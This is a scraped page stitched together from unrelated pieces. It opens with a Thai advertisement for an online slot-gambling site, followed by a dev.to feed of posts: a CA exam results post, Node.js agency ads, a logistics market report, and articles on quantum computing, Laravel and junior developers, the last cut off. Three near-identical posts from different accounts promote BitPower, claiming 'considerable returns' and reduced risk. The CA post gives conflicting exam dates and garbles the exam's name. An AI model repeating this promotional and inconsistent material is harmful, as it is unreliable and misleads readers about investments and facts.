เว็บตรงที่ใครหลายคนพูดถึงและให้ความสนใจกันมากที่สุด เพราะเว็บบริการเกมสล็อตออนไลน์ที่เต็มไปด้วยคุณภาพรวมทุกค่ายใหญ่ชื่อดังเอาไว้ให้เล่นกันเยอะที่สุด หากพูดถึงเว็บที่มีเกมให้เล่นเยอะที่สุดเป็นที่หนึ่งในตอนนี้ คงหนีไม่พ้นเว็บนี่อย่างแน่นอนที่มีทุกเกมเดิมพันออนไลน์ที่มีบนโลกใบนี้รวมเอาครบจบในเว็บเดียวและเป็นเว็บเดียวในเมืองไทยที่คุณจะหาเกมเดิมพันออนไลน์เล่นได้เยอะขนาดนี้ไม่มีอีกแล้ว การเล่นกับที่นี่ทุกการก็มีความเสถียรเป็นอย่างมาก โดยเฉพาะ [สล็อตเว็บตรง](https://hhoc.org/) เว็บนอกที่หลายคนเคยเล่นกับบางเว็บอาจจะมีอาการช้าหรือค้างไปเลย หากเล่นกับเว็บนี้จะไม่มีทางเกิดขึ้นอย่างแน่นอนเพราะคือเว็บตรงไม่ผ่านเอเย่นต์รวมทุกค่ายที่ทำเงินได้ นอกจากนี้เราได้รวบรวมเกมจากค่ายดังๆ มาไว้ที่นี่และยังสามารถเล่นได้โดยที่ไม่ต้องโหลดแอพให้เสียเวลาเลย เพราะว่านักเดิมพันทั้งสามารถเล่นผ่านเว็บได้เลยทั้งนี้ทั้งนั้นทาง asia99th ก็ได้พัฒนาระบบให้ทันสมัยอยู่ตลอดเวลา เพื่อให้เข้ากับยุคสมัยที่ก้าวไกลด้านเทคโนโลยีและไม่ต้องกลัวว่าคุณจะโดนโกงเพราะเว็บเรานั้น

aonsri_domdee_9c9876afe2c

CA Exam Result May 2024: Mark Your Calendar

Results of the May 2024 CA Exam. The ICAI administers the demanding three-level professional...

https://dev.to/rudrakshi27/ca-exam-result-may-2024-mark-your-calendar-56nl

 Results of the May 2024 CA Exam. The ICAI administers the demanding three-level professional certification program known as the Chartered Accountants (CA) test. The final passing percentage for the **[CA Exam Result May 2024](https://www.studyathome.org/ca-exam-result-may-2024-date-toppers-pass-percentage/)**. Its objective is to evaluate candidates' expertise in taxation, law, accounting, auditing, and other relevant fields. Students who successfully complete all three levels will have the skills needed to succeed in accounting and finance-related careers. The May 2024 CA Intermediate and Final exams are already over. The exact exam dates are as follows: -The CA Intermediate examinations were given by the Institute of Chartered Accountants of India (ICAI) from May 3rd to May 17th, 2024. There were two sections to these tests, and candidates could take each group together or separately. -In a similar vein, the dates of the CA Final exams were May 2–May 16, 2024. Candidates are currently expecting their results from the Institute of Chartered Accountants of India (ICAI) as the deadlines have passed. The CA Exam May 2024 results are expected to be released by the ICAI in July. You will need to enter your registration and roll number in order to view your results online. This blog post has a direct link to the ICAI Results site for your convenience. The ICAI will send your CA Intermediate and CA Final scorecards by email and SMS to the registered email address or cell phone number. They will also release the merit list and pass percentage for the CA 2024 exams. You may view the CA Final & Intermediate Test Result May 2024 blogs and the **CA Final Result May 2024 Exam** pass percentage for the latest recent test results. This blog explains how to access the CA Inter result 2024, including passing %, pass rates, performance lists, mark statements, rank certificates, and mark verification requests. ## CA Final May 2024 Results: Announcement The exact date hasn't been disclosed yet, but historically, the ICAI usually releases the CA Final May 2024 results within one to two months after exams. Results for the May 2024 CA Final examinations are anticipated in July 2024. The exams took place from May 2 to May 16. This is an approximation; official notice from the ICAI may come through at any time. ## Result of CA Intermediate May 2024 The CA Intermediate Results for May 2024, like the CA Final Results, have not been officially announced by the ICAI. We can make an educated guess based on past trends. Here is what we currently know: -The CA Intermediate tests were held on May 2 and May 10, 2024. -The ICAI releases the results a month after the CA Result 2024 topper list concludes the exams. Based on this pattern, we may assume that the ICAI will most likely release the CA Exam Result May 2024 passing % list in July 2024. Though this timescale is simply an estimate, the ICAI may announce the CA Final result topping for May 2024 sooner rather than later. ## Deadline for CA Final May 2024 Exam Attention, aspiring chartered accountants! The eagerly awaited results for the CA Final Exam conducted in May 2024 are approaching. To stay updated, mark these important events on your calendar: Particular Dates CA Final 2024 Exam Date 2nd, 4th, 8th, 10th, 14th, and 16th May 2024 CA Final Result Date May 2024 July 2024 (To be confirmed by ICAI) CA Final Result Topper May 2024 July 2024 (To be confirmed by ICAI) ## CA Intermediate May 2024 Important Dates Candidates aspiring to become chartered accountants should focus on preparing for the May 2024 CA Intermediate exam. Note the CA Final Result 2024 pass percentage dates and mark them on your calendars. The following are the main dates for the May 2024 CA Intermediate exam: Particular Dates CA Intermediate May 2024 Exam Date May 3rd to May 17th, 2024 CA Intermediate May 2024 Result Date 11th July 2024 CA Intermediate May 2024 Topper List 11th July 2024 ## Proven Strategies from Successful Toppers About a month after the exams, the ICAI usually releases the CA Inter result 2024, including the passing percentage, merit list, and top score. They haven't yet made public the **CA Final Result May 2024 Exam** winners, though. The ICAI is expected to announce the CA May 2024 results, including the toppers, in July (approximately; the exact date may vary). We'll give you access to the CA Result 2024 toppers list as soon as the official results are released! CA Final Topper May 2024 Rank Name City Marks Percentage 1st To be declared soon To be declared soon To be declared soon To be declared soon 2nd To be declared soon To be declared soon To be declared soon To be declared soon 3rd To be declared soon To be declared soon To be declared soon To be declared soon CA Intermediate Topper May 2024 Exam Rank Name City Marks Percentage 1st To be declared soon To be declared soon To be declared soon To be declared soon 2nd To be declared soon To be declared soon To be declared soon To be declared soon 3rd To be declared soon To be declared soon To be declared soon To be declared soon **Passing Rates for CA May 2024 Results** The ICAI will soon make public the results of the CA Final May 2024 exam, including passing percentages. Candidates can better understand the test's difficulty and plan their studies more effectively with knowledge of the CA exam success rates in India. Additionally, it aids in **CA Exam Result May 2024** predicting the eventual outcomes of the CA, which are expected to peak in 2024. California Final Exam: May 2–16 Intermediate Exam: May 3–17. By November 2023, candidates must achieve at least 40% on each paper and 50% overall in each group for the CA Inter Result 2024 passing percentage. Recent CA Final pass rates (Group I: 9.46%, Group II: 21.6%, Combined: 9.42%) underscore the exam's challenge. Consequently, we can expect similar outcomes for the May 2024 examinations if this trend persists. CA Final Result 2024 Passing Percentage (May 2024 – To be Announced) Particular No. of Candidates Appeared No. of Candidates Passed Pass Percentage Group I To be declared soon To be declared soon To be declared soon Group II To be declared soon To be declared soon To be declared soon Both Groups To be declared soon To be declared soon To be declared soon CA Inter Result 2024 Passing Percentage (May 2024 – To be Announced) Particular No. of Candidates Appeared No. of Candidates Passed Pass Percentage Group I To be declared soon To be declared soon To be declared soon Group II To be declared soon To be declared soon To be declared soon Both Groups To be declared soon To be declared soon To be declared soon

rudrakshi27

Bitpower's transformation and innovation

In today's world, the rapid development of technology is constantly changing our lifestyles. As one...

https://dev.to/pings_iman_934c7bc4590ba4/bitpowers-transformation-and-innovation-2cgf

 In today's world, the rapid development of technology is constantly changing our lifestyles. As one of them, BitPower is leading the transformation of the financial field. Decentralization, cryptocurrency, blockchain and smart contracts are the four pillars of BitPower's development, which together create an innovative, transparent and secure financial ecosystem. In a decentralized world, there is no central agency, no intermediary, and everything is managed by code and algorithms. This model gives users more control and freedom, allowing them to directly participate in financial activities without having to rely on banks or other traditional financial institutions. BitPower's decentralized characteristics ensure the transparency and openness of every transaction, and all transaction records can be traced on the blockchain. Cryptocurrency is another core of BitPower. As a digital asset, cryptocurrency not only provides an efficient means of transaction, but also brings huge profit opportunities to users. BitPower allows users to obtain considerable returns by providing liquidity through its unique circular income mechanism. Every investment will automatically return to the user's wallet through a smart contract, which is not only efficient but also greatly reduces risks. Blockchain technology is the foundation of BitPower's development. As a distributed ledger technology, blockchain ensures the security and immutability of data. All transaction records are permanently recorded on the blockchain and cannot be modified by anyone. This transparent and secure feature gives BitPower an unparalleled advantage in the financial field, and users can trade and invest with confidence. Smart contracts are the core of BitPower's operation. Smart contracts are automatically executed contracts that execute automatically when the preset conditions are met without human intervention. This feature makes all BitPower transactions automated and seamless, greatly improving efficiency. Users can easily carry out financial activities such as lending and investing through smart contracts and enjoy convenient and efficient services. In the future, BitPower has broad prospects for development. The four pillars of decentralization, cryptocurrency, blockchain and smart contracts will continue to drive the development of BitPower and bring more benefits and opportunities to users. With the continuous advancement of technology and the continuous expansion of applications, BitPower will attract more users and investors worldwide and become a leader in the financial field. In short, BitPower provides users with a safe, efficient and transparent financial platform with its decentralized operation model, efficient transactions of cryptocurrency, transparent security of blockchain and automatic execution of smart contracts. In the future, BitPower will continue to bring more benefits and opportunities to users with the support of these technologies, and promote changes and innovations in the financial field.

pings_iman_934c7bc4590ba4

BitPower Security Introduction

What is BitPower? BitPower is a decentralized lending platform based on blockchain technology,...

https://dev.to/aimm_y/bitpower-security-introduction-5eca

What is BitPower? BitPower is a decentralized lending platform based on blockchain technology, providing secure and efficient lending services through smart contracts. Security Features Smart Contract Automatically execute transactions and eliminate human intervention. Open source code, transparent and auditable. Decentralization No intermediary is required, and users interact directly with the platform. Peer-to-peer transactions, funds circulate between user wallets. Asset Collateral Borrowers use crypto assets as collateral to reduce risks. Automatic liquidation mechanism protects the interests of both borrowers and lenders. Data Transparency Transaction records are public and can be viewed by anyone. Real-time monitoring of transactions and assets. Security Architecture Once deployed, smart contracts cannot be tampered with. Multi-signature technology ensures transaction security. Advantages High security: Smart contracts and blockchain technology ensure platform security. Transparency and trust: Open source code and public records increase transparency. Risk control: Collateral and liquidation mechanisms reduce risks. Conclusion BitPower provides a secure and transparent decentralized lending platform through smart contracts and blockchain technology. Join BitPower and experience secure and efficient lending services!

aimm_y

Top Node JS Development Company in USA | Node JS Development Services

We provide full-stack Node.js development services for dynamic applications. Appoint top nodejs...

https://dev.to/samirpa555/top-node-js-development-company-in-usa-node-js-development-services-38ih

We provide full-stack Node.js development services for dynamic applications. Appoint **[top nodejs development company in USA](https://www.sapphiresolutions.net/top-nodejs-development-company-in-usa)** that delivers high-performance solutions. Connect with us today!

samirpa555

Bitpower's transformation and innovation

In today's world, the rapid development of technology is constantly changing our lifestyles. As one...

https://dev.to/pingd_iman_9228b54c026437/bitpowers-transformation-and-innovation-496o

 In today's world, the rapid development of technology is constantly changing our lifestyles. As one of them, BitPower is leading the transformation of the financial field. Decentralization, cryptocurrency, blockchain and smart contracts are the four pillars of BitPower's development, which together create an innovative, transparent and secure financial ecosystem. In a decentralized world, there is no central agency, no intermediary, and everything is managed by code and algorithms. This model gives users more control and freedom, allowing them to directly participate in financial activities without having to rely on banks or other traditional financial institutions. BitPower's decentralized characteristics ensure the transparency and openness of every transaction, and all transaction records can be traced on the blockchain. Cryptocurrency is another core of BitPower. As a digital asset, cryptocurrency not only provides an efficient means of transaction, but also brings huge profit opportunities to users. BitPower allows users to obtain considerable returns by providing liquidity through its unique circular income mechanism. Every investment will automatically return to the user's wallet through a smart contract, which is not only efficient but also greatly reduces risks. Blockchain technology is the foundation of BitPower's development. As a distributed ledger technology, blockchain ensures the security and immutability of data. All transaction records are permanently recorded on the blockchain and cannot be modified by anyone. This transparent and secure feature gives BitPower an unparalleled advantage in the financial field, and users can trade and invest with confidence. Smart contracts are the core of BitPower's operation. Smart contracts are automatically executed contracts that execute automatically when the preset conditions are met without human intervention. This feature makes all BitPower transactions automated and seamless, greatly improving efficiency. Users can easily carry out financial activities such as lending and investing through smart contracts and enjoy convenient and efficient services. In the future, BitPower has broad prospects for development. The four pillars of decentralization, cryptocurrency, blockchain and smart contracts will continue to drive the development of BitPower and bring more benefits and opportunities to users. With the continuous advancement of technology and the continuous expansion of applications, BitPower will attract more users and investors worldwide and become a leader in the financial field. In short, BitPower provides users with a safe, efficient and transparent financial platform with its decentralized operation model, efficient transactions of cryptocurrency, transparent security of blockchain and automatic execution of smart contracts. In the future, BitPower will continue to bring more benefits and opportunities to users with the support of these technologies, and promote changes and innovations in the financial field.

pingd_iman_9228b54c026437

"Driving Efficiency: Global Logistics Automation Market Gains Momentum"

Introduction The global logistics automation market is witnessing substantial growth, driven by the...

https://dev.to/prathmesh_83058402072c587/driving-efficiency-global-logistics-automation-market-gains-momentum-5pi

Introduction The global logistics automation market is witnessing substantial growth, driven by the need for efficiency, accuracy, and cost-effectiveness in the supply chain Logistics automation involves the use of advanced technologies to streamline operations, enhance productivity, and reduce human error This market encompasses a wide range of solutions, including automated storage and retrieval systems (AS/RS), automated guided vehicles (AGVs), conveyor systems, and software for warehouse management and control Market Overview The logistics automation market is segmented based on component, function, vertical, and region Each segment plays a critical role in shaping the market dynamics and growth trajectory Components Hardware - Automated Storage and Retrieval Systems (AS/RS) - Automated Guided Vehicles (AGVs) - Conveyor Systems - Robotic Arms Software - Warehouse Management Systems (WMS) - Transportation Management Systems (TMS) - Order Management Systems Services - Consulting - Implementation - Maintenance and Support Functions Warehouse Management - Inventory Control - Order Fulfillment - Picking and Packing - Sorting Transportation Management - Fleet Management - Route Optimization - Shipment Tracking Logistics and Supply Chain Management - Demand Forecasting - Procurement - Supplier Management Verticals E-commerce and Retail Manufacturing Food and Beverage Healthcare and Pharmaceuticals 5 Automotive 6 Others (eg, electronics, chemicals) Market Drivers E-commerce Boom: The exponential growth of e-commerce has significantly increased the demand for efficient and automated logistics solutions The need for fast and accurate order fulfillment is paramount, driving the adoption of automation technologies in warehouses and distribution centers Technological Advancements: Innovations in robotics, AI, IoT, and big data analytics are revolutionizing the logistics industry These technologies enable real-time tracking, predictive maintenance, and intelligent decision-making, enhancing overall efficiency Labor Shortages: The logistics industry faces challenges in recruiting and retaining labor, particularly for repetitive and physically demanding tasks Automation addresses this issue by reducing dependency on manual labor and improving working conditions Cost Efficiency: Automated systems reduce operational costs by minimizing errors, optimizing resource utilization, and improving process speed This leads to higher profit margins and a competitive edge in the market Customer Expectations: Modern consumers expect rapid delivery, real-time order tracking, and seamless returns Logistics automation helps companies meet these expectations, enhancing customer satisfaction and loyalty Sample pages of Report:https://shorturl.at/4mG50 Market Challenges High Initial Investment: Implementing logistics automation requires significant capital investment in hardware, software, and infrastructure This can be a barrier for small and medium-sized enterprises (SMEs) with limited budgets Integration Issues: Integrating automation solutions with existing systems and processes can be complex Companies may face challenges in achieving seamless interoperability between different technologies and platforms Data Security Concerns: The increased use of connected devices and digital systems raises concerns about data security and cyber threats Ensuring robust cybersecurity measures is critical to protect sensitive information and maintain trust Skilled Workforce: While automation reduces the need for manual labor, it creates a demand for skilled professionals who can operate, maintain, and optimize automated systems There is a need for training and upskilling the workforce to bridge this gap Regional Analysis The global logistics automation market is geographically segmented into North America, Europe, Asia-Pacific, Latin America, and the Middle East & Africa North America: North America holds a significant share of the logistics automation market due to the presence of leading technology providers and early adopters of automation The region's robust e-commerce sector further drives the demand for advanced logistics solutions Europe: Europe is witnessing rapid growth in logistics automation, driven by stringent regulations on supply chain efficiency and sustainability Countries like Germany, the UK, and France are at the forefront of adopting automation technologies Asia-Pacific: The Asia-Pacific region is expected to exhibit the highest growth rate, fueled by the booming e-commerce industry, increasing industrialization, and investments in infrastructure development China, Japan, and India are key markets in this region Latin America: The logistics automation market in Latin America is growing steadily, with countries like Brazil and Mexico investing in modernizing their supply chain operations The region's expanding manufacturing sector also contributes to market growth Middle East & Africa: The Middle East & Africa region is gradually adopting logistics automation to enhance supply chain efficiency and support economic diversification efforts The UAE and South Africa are notable markets in this region Competitive Landscape The global logistics automation market is highly competitive, with several key players striving to enhance their market position through innovation, partnerships, and acquisitions Prominent companies in the market include: Honeywell Intelligrated: A leading provider of automated material handling solutions, Honeywell Intelligrated offers a comprehensive portfolio of AS/RS, conveyor systems, and warehouse execution software Daifuku Co, Ltd: Daifuku is a global leader in automation and material handling systems The company specializes in AS/RS, AGVs, and conveyor systems, catering to various industries, including e-commerce, automotive, and food & beverage SSI Schaefer AG: SSI Schaefer offers a wide range of logistics solutions, including storage systems, conveyor technology, and warehouse management software The company focuses on innovation and sustainability in its product offerings Dematic Corp: Dematic is a prominent player in the logistics automation market, providing integrated automation solutions for warehouses, distribution centers, and manufacturing facilities The company's portfolio includes AGVs, AS/RS, and robotic picking systems Murata Machinery, Ltd: Murata Machinery offers advanced automation solutions, including AS/RS, AGVs, and automated sorting systems The company focuses on delivering high-performance and reliable solutions to enhance operational efficiency Report Overview: https://shorturl.at/KicvC Future Outlook The global logistics automation market is poised for significant growth in the coming years The increasing adoption of e-commerce, technological advancements, and the need for efficient supply chain management will drive market expansion Companies are expected to invest heavily in automation technologies to gain a competitive edge and meet evolving customer demandsMoreover, the integration of AI, IoT, and big data analytics will further enhance the capabilities of logistics automation systems, enabling predictive maintenance, real-time decision-making, and optimized resource utilization The focus on sustainability and reducing carbon footprints will also drive the development of eco-friendly automation solutions Conclusion The global logistics automation market is undergoing a transformative phase, driven by the need for efficiency, accuracy, and cost-effectiveness in supply chain operations While challenges such as high initial investment and integration issues persist, the market's growth potential remains robust With continuous technological advancements and increasing adoption across various industries, logistics automation is set to revolutionize the supply chain landscape, paving the way for a more efficient and sustainable futureA

prathmesh_83058402072c587

The Impact of Quantum Computing on Web Development

Quantum computing, once a theoretical concept, is now inching closer to becoming a practical reality....

https://dev.to/klimd1389/the-impact-of-quantum-computing-on-web-development-19h8

webdev, development, programming, productivity

Quantum computing, once a theoretical concept, is now inching closer to becoming a practical reality. This advancement has the potential to revolutionize many fields, including web development. In this article, we explore the implications of quantum computing on web development, examining both its potential benefits and the challenges it presents. What is Quantum Computing? Quantum computing leverages the principles of quantum mechanics to perform computations far more efficiently than classical computers. Unlike classical bits, which are binary and can be either 0 or 1, quantum bits (qubits) can exist in multiple states simultaneously due to superposition. Additionally, quantum entanglement allows qubits that are entangled to be interdependent, regardless of the distance between them. Potential Benefits for Web Development 1. Enhanced Computational Power Quantum computing promises to exponentially increase computational power. This can significantly benefit web development in areas such as: Optimization Algorithms: Complex problems like load balancing, routing, and resource allocation can be solved more efficiently. Machine Learning: Training times for machine learning models, which are becoming increasingly integral to web applications, can be drastically reduced. Cryptography: Quantum computers can enhance security through more robust encryption methods, although they also pose a threat to current cryptographic practices. 2. Improved User Experience With the enhanced computational capabilities of quantum computing, web developers can create more sophisticated and responsive user interfaces. For instance: Real-Time Data Processing: Faster processing of real-time data can lead to more dynamic and interactive web applications. Enhanced Graphics: Improved computational power can render high-quality graphics more quickly, benefiting fields such as online gaming and virtual reality. 3. Advanced Problem Solving Quantum computing can tackle problems that are currently infeasible for classical computers. This includes: Complex Simulations: Quantum computers can perform complex simulations for web-based applications, such as virtual environments or detailed scientific models. AI and Natural Language Processing: Enhanced capabilities in artificial intelligence and natural language processing can lead to more intuitive and human-like interactions in web applications. Challenges and Considerations 1. Security Concerns While quantum computing can enhance security, it also poses significant risks. Quantum computers could potentially break widely used encryption methods such as RSA and ECC. This necessitates the development of quantum-resistant algorithms to ensure data security in the quantum era. 2. New Development Paradigms The transition to quantum computing will require web developers to learn new programming paradigms and tools. Quantum programming languages, such as Qiskit and Microsoft’s Q#, are fundamentally different from classical programming languages. This learning curve may slow adoption and require substantial training and education. 3. Infrastructure and Cost Quantum computers are currently expensive and require specialized environments to operate, such as extremely low temperatures and isolation from electromagnetic interference. The infrastructure needed to support quantum computing in web development is still in its infancy, and widespread adoption may take time. Quantum Computing in Action Several tech giants are already exploring quantum computing: IBM: IBM’s Q Experience allows developers to experiment with quantum algorithms and understand their potential applications. Google: Google’s Quantum AI division is working on practical applications of quantum computing, including optimization problems that could benefit web development. Microsoft: Microsoft’s Azure Quantum provides cloud-based quantum computing services, enabling developers to access quantum hardware and software. Conclusion Quantum computing holds immense potential to transform web development by providing unprecedented computational power and new problem-solving capabilities. However, it also brings challenges such as security concerns, the need for new development paradigms, and significant infrastructure requirements. As the technology matures, web developers must stay informed and adapt to leverage the benefits of quantum computing while mitigating its risks. The future of web development in the quantum era is both exciting and uncertain, promising profound changes to how we build and interact with web applications.

klimd1389

Revolutionizing Real Estate with Room Visualization Apps

The Power of Visual Search Gone are the days of flipping through catalogues or scrolling...

https://dev.to/rapidinnovation/revolutionizing-real-estate-with-room-visualization-apps-435o

## The Power of Visual Search Gone are the days of flipping through catalogues or scrolling through endless online listings to find the perfect piece of furniture or decor. With AI- powered room visualization apps, users can now leverage visual search technology to find precisely what they desire. By simply capturing an image of a desired item or style, the app sifts through vast databases, recognizing and suggesting matching products that align with the user's unique taste and preferences. ## Enhanced User Experience Imagine walking into a new apartment or house and being able to visualize different furniture layouts or decor schemes instantly. With AI room visualization apps, users can virtually transform their space, exploring various design options before making a single purchase. This enhanced user experience allows individuals to experiment, personalize, and create a unique living environment that is tailored to their needs and desires. ## Real Estate Reinvented Beyond personal home decor projects, AI-powered room visualization has the potential to revolutionize the real estate industry. Prospective buyers can now experience homes virtually without physically visiting each property. By uploading room measurements and desired furniture styles, users can visualize their future home with furniture and decor, providing a more immersive understanding of the space and facilitating confident decision-making. ## Room Design Apps: A Game Changer for Realtors and Homebuyers Imagine a scenario where a potential homebuyer walks into an empty house. It's a blank canvas, and while it holds promise, it lacks the warmth and character of a lived-in space. This is where room visualization apps shine. They allow realtors to take potential buyers on a virtual tour of the property, showcasing not just the physical space but also its potential. ## The Benefits of Room Visualization Apps Let's delve deeper into the benefits of using room visualization and decor matching apps in the real estate industry: ## The Impact of Room Design Apps on Real Estate The growing popularity of room visualization and decor matching apps has not only transformed the way individuals approach interior design but has also had a significant impact on the real estate industry as a whole. Here are some notable effects: ## Conclusion: The Future of Real Estate and Interior Design Room visualization and decor matching apps have ushered in a new era for the real estate industry and interior design enthusiasts alike. These innovative tools provide practical solutions for both realtors and homebuyers, facilitating seamless property tours, personalized design recommendations, and the visualization of decor ideas. They empower homeowners to take control of their interior design projects and streamline renovations. As technology continues to advance, the future of room design apps holds exciting possibilities. Virtual reality, artificial intelligence, and eco- friendly design options are on the horizon, promising an even more immersive and sustainable interior design experience. The democratization of interior design ensures that anyone, regardless of budget or experience level, can create their dream space. So, whether you're a realtor aiming to enhance your property listings or a homeowner embarking on a renovation journey, consider the transformative potential of room visualization and decor matching apps. These apps bridge the gap between imagination and reality, allowing you to envision and realize the perfect living space. 📣📣Drive innovation with intelligent AI and secure blockchain technology! Check out how we can help your business grow! [Blockchain App Development](https://www.rapidinnovation.io/service- development/blockchain-app-development-company-in-usa) [Blockchain App Development](https://www.rapidinnovation.io/service- development/blockchain-app-development-company-in-usa) [AI Software Development](https://www.rapidinnovation.io/ai-software- development-company-in-usa) [AI Software Development](https://www.rapidinnovation.io/ai-software- development-company-in-usa) ## URLs * <http://www.rapidinnovation.io/post/transforming-real-estate> ## Hashtags #RealEstateTech #InteriorDesignApps #RoomVisualization #AIHomeDecor #VirtualStaging

rapidinnovation

Top Node JS Development Company in UAE | Node JS Development Services

Discover excellence in Node.js development with Sapphire Software Solutions, the top Node.js...

https://dev.to/samirpa555/top-node-js-development-company-in-uae-node-js-development-services-90k

nodejsdevelopment, nodejsdevelopmentservices, nodejsdevelopmentcompany

Discover excellence in Node.js development with Sapphire Software Solutions, the **[top Node.js development company in UAE](https://www.sapphiresolutions.net/top-nodejs-development-company-in-uae)**. Our expert team specializes in crafting high-performance, scalable applications tailored to your business needs. Leveraging the powerful capabilities of Node.js, we deliver fast, secure, and reliable solutions that enhance your digital footprint.

samirpa555

Can I use Laravel for large-scale applications?

This is one common question you will face in the interview if you are a dedicated Laravel developer....

https://dev.to/saanchitapaul/can-i-use-laravel-for-large-scale-applications-3h16

webdev, learning, interview, deeplearning

> This is one common question you will face in the interview if you are a dedicated Laravel developer. The answer is Yes. Laravel can be used for large-scale applications. If you're primarily familiar with Laravel and haven't explored other frameworks extensively, articulating why Laravel should be chosen over alternatives boils down to its distinct advantages within the PHP ecosystem and beyond. It is a robust PHP framework designed with scalability in mind, offering features such as: - **Modular Structure:** Laravel's modular design allows for the development of complex applications by breaking them into smaller, manageable components. - **Built-In Caching:** Laravel supports various caching backends, enabling efficient data retrieval and performance optimization. - **Queue Management:** Laravel's queue services handle background tasks, improving the application's responsiveness. - **Scalability:** With support for cloud services and microservices architecture, Laravel applications can scale horizontally. - **Efficient Architecture:** Following the Model-View-Controller (MVC) architecture, Laravel promotes code separation and modularity. This architectural pattern simplifies code management and scalability, allowing developers to work on different parts of the application simultaneously and collaborate more effectively. - **Simplified Database Interaction:** Laravel's ORM, Eloquent, streamlines database operations by providing a user-friendly API. Developers can define relationships between database tables easily, reducing the need for complex SQL queries. With Eloquent, building and maintaining large-scale applications become faster and more manageable. - **Powerful Routing System:** Laravel offers a robust routing system that simplifies handling complex routing requirements. Developers can define clean and search-engine-optimized URLs, implement RESTful APIs, and manage middleware for authentication and authorization. The routing system contributes to the scalability and flexibility of large-scale applications. - **Performance Optimization:** Large-scale applications often face performance challenges. Laravel offers powerful caching mechanisms, reducing database load and improving response times. Integration with caching systems like Redis further enhances performance. Laravel's performance optimization features make it ideal for demanding large-scale applications. - **Thriving Ecosystem and Community:** Laravel has a vibrant ecosystem and a large community of developers. The ecosystem provides numerous pre-built packages and libraries that can be easily integrated. Extensive documentation, tutorials, and community support ensure developers can find solutions and stay up-to-date with best practices. For optimal performance, you might consider using caching strategies, optimizing database queries, and employing load balancers. > And now answering that question in return the interviewer may ask why Laravel is better than other languages or frameworks. Well, When considering frameworks for large-scale applications, several options might be more suitable depending on specific needs: - Django (Python): Known for rapid development and clean design, Django is highly scalable and has a strong community. - Spring Boot (Java): Excellent for large enterprise-level applications, providing robust security and scalability features. - Ruby on Rails (Ruby): Offers convention over configuration, simplifying the development of complex applications. - Express.js (Node.js): Suitable for high-performance, scalable network applications. - ASP.NET Core (C#): A powerful framework for building enterprise-level applications with excellent performance and scalability. Each of these frameworks has its strengths and choosing the best one depends on the specific requirements, team expertise, and the nature of the application. **Hope this helps. Thank you. Happy Coding 🎉🎉**

saanchitapaul

Songr

A post by Jibril Qawariq

https://dev.to/jibril_qawariq_d0b10d9c32/songr-ffn

awsbigdata

jibril_qawariq_d0b10d9c32

Bitpower's transformation and innovation

In today's world, the rapid development of technology is constantly changing our lifestyles. As one...

https://dev.to/pingc_iman_034e9f20936ef4/bitpowers-transformation-and-innovation-4l9b

 In today's world, the rapid development of technology is constantly changing our lifestyles. As one of them, BitPower is leading the transformation of the financial field. Decentralization, cryptocurrency, blockchain and smart contracts are the four pillars of BitPower's development, which together create an innovative, transparent and secure financial ecosystem. In a decentralized world, there is no central agency, no intermediary, and everything is managed by code and algorithms. This model gives users more control and freedom, allowing them to directly participate in financial activities without having to rely on banks or other traditional financial institutions. BitPower's decentralized characteristics ensure the transparency and openness of every transaction, and all transaction records can be traced on the blockchain. Cryptocurrency is another core of BitPower. As a digital asset, cryptocurrency not only provides an efficient means of transaction, but also brings huge profit opportunities to users. BitPower allows users to obtain considerable returns by providing liquidity through its unique circular income mechanism. Every investment will automatically return to the user's wallet through a smart contract, which is not only efficient but also greatly reduces risks. Blockchain technology is the foundation of BitPower's development. As a distributed ledger technology, blockchain ensures the security and immutability of data. All transaction records are permanently recorded on the blockchain and cannot be modified by anyone. This transparent and secure feature gives BitPower an unparalleled advantage in the financial field, and users can trade and invest with confidence. Smart contracts are the core of BitPower's operation. Smart contracts are automatically executed contracts that execute automatically when the preset conditions are met without human intervention. This feature makes all BitPower transactions automated and seamless, greatly improving efficiency. Users can easily carry out financial activities such as lending and investing through smart contracts and enjoy convenient and efficient services. In the future, BitPower has broad prospects for development. The four pillars of decentralization, cryptocurrency, blockchain and smart contracts will continue to drive the development of BitPower and bring more benefits and opportunities to users. With the continuous advancement of technology and the continuous expansion of applications, BitPower will attract more users and investors worldwide and become a leader in the financial field. In short, BitPower provides users with a safe, efficient and transparent financial platform with its decentralized operation model, efficient transactions of cryptocurrency, transparent security of blockchain and automatic execution of smart contracts. In the future, BitPower will continue to bring more benefits and opportunities to users with the support of these technologies, and promote changes and innovations in the financial field. #BTC #ETH #SC #DeFi

pingc_iman_034e9f20936ef4

10 Ways to Improve for a Junior Developer

I taught the practice of web development to around 200 students in six years. Here are ways to improve on the mistakes and misconceptions I noticed most often.

https://dev.to/arnaudrenaud/10-ways-to-improve-for-a-junior-developer-22pj

--- title: 10 Ways to Improve for a Junior Developer published: true description: I taught the practice of web development to around 200 students in six years. Here are ways to improve on the mistakes and misconceptions I noticed most often. tags: cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xhletldplmdmtu3ix92c.jpg # Use a ratio of 100:42 for best results. published_at: 2024-07-05 12:00 +0000 --- I taught the practice of web development to around 200 students in six years. Here are ways to improve on the mistakes and misconceptions I noticed most often. ## TL;DR - Use automatic code formatting - Look for error messages - Simplify your code until the bug goes away - Solve only one problem at a time - Split tasks and commits - Give symbols a proper name - Refrain from DRYing everything out - Optimize reasonably - Test the risky parts first - Avoid persisting redundant data ## Use automatic code formatting Even if you work alone, automatic formatting is a free time saver: you can write code faster, and will be able to read it more easily later. If you write JavaScript or TypeScript, install the Prettier extension for Visual Studio Code and enable "Format on save". That's all, you don't need a configuration file, but you can add one at the root of your project if you need to override the default rules. ## Look for error messages When the app _doesn't work_, look for an error message. This is especially true when your app is made of multiple services. Let's say your Next.js web app with server-side rendering relies on your back-end server. When something fails, here are four places you have to look for an error: - the browser console (error on the client) - the server response body in the inspector's Network tab (invalid request error, it should appear in the UI) - the Next.js server console (error during SSR) - the back-end server console (error on the back end) ## Simplify your code until the bug goes away What to do if you can't find any error message, or if the cause of a bug remains obscure after searching the error online? Simplify your code (for instance, comment out some part that runs when the bug happens), and try to reproduce the bug again. If reproducible, repeat again and again until the bug is gone. Sometimes, you only need to do this once to find the faulty part in your program. Some other times, you simplify your program so much that it looks like a Hello world boilerplate and yet the bug is still here. Try updating dependencies or changing environment variables. If you are still unlucky, post your issue on Stack Overflow or, if applicable, on your framework's repository issues on GitHub, and provide your simplified code. ## Solve only one problem at a time If you try to simultaneously fix a bug, implement a new feature and refactor code, chances are you will waste time by breaking your code or mix unrelated changes in a single commit, which will make code review harder. If you feel the need for a refactor or a bug fix in the middle of an unrelated feature, refrain from doing it. Save it for later, preferably by opening a 